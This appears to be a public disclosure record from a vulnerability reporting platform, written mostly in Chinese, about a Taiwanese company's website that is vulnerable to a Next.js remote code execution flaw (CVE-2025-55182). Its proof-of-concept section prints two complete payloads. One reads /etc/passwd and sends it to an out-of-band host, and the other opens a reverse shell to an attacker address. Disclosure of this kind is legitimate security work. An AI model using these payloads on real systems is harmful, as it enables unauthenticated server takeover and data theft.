Acon-eco 連展電能 CVE-2025-55182

Vulnerability Overview

ZDID: ZD-2025-01476
發信 Vendor: 連展電能科技股份有限公司
Title: Acon-eco 連展電能 CVE-2025-55182
Introduction: 網站存在已知弱點 CVE-2025-55182

處理狀態

目前狀態

公開

Last Update : 2026/02/09

新提交
已審核
已通報
未回報修補狀況
未複測
公開

處理歷程

2025/12/10 13:23:19 : 新提交 (由 CheN.. 更新此狀態)
2025/12/10 16:12:45 : 新提交 (由 CheN.. 更新此狀態)
2025/12/10 16:16:21 : 新提交 (由 CheN.. 更新此狀態)
2025/12/11 16:33:32 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2026/01/05 11:58:15 : 通報未回應 (由 HITCON ZeroDay 服務團隊更新此狀態)
2026/01/05 11:58:32 : 通報未回應 (由 HITCON ZeroDay 服務團隊更新此狀態)
2026/02/09 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

ZDID：ZD-2025-01476
通報者：SamChen_696 (CheN..)
風險：嚴重
類型：遠端命令執行 (Remote Code Execution)

參考資料

攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。

漏洞說明： OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection

漏洞說明： OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection

漏洞說明： CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html

漏洞說明： CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html

(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

敘述

請參考

https://react2shell.com/

概述

發現目標網站使用的 Next.js 框架存在已知的 RCE 漏洞。攻擊者可以透過構造惡意的 HTTP 請求觸發，無需任何身分驗證即可利用，能在伺服器端執行任意系統指令。實際測試能任意讀取系統敏感檔案（如 /etc/passwd）和取得 shell 連線。

重置步驟

構造惡意請求透過 BurpSuite Repeater 送出（讀取 /etc/passwd）
查看請求，成功收到 Base64
解碼驗證

PoC

讀取 /etc/passwd 的完整攻擊 Payload

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var http=process.mainModule.require('http');var fs=process.mainModule.require('fs');var content=fs.readFileSync('/etc/passwd').toString('base64');http.request({hostname:'djkjrilqppzmplrmwqku54p7ddxht1l75.oast.fun',port:80,path:'/',method:'POST'}).end(content);","_formData":{"get":"$1:constructor:constructor"}

反彈 Shell 的完整攻擊 Payload

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var net=process.mainModule.require('net'),cp=process.mainModule.require('child_process'),sh=cp.spawn('/bin/sh',[]);var client=new net.Socket();client.connect([Attacker_Port],'[Attacker_IP]',function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});","_formData":{"get":"$1:constructor:constructor"}

相關截圖：（容器內）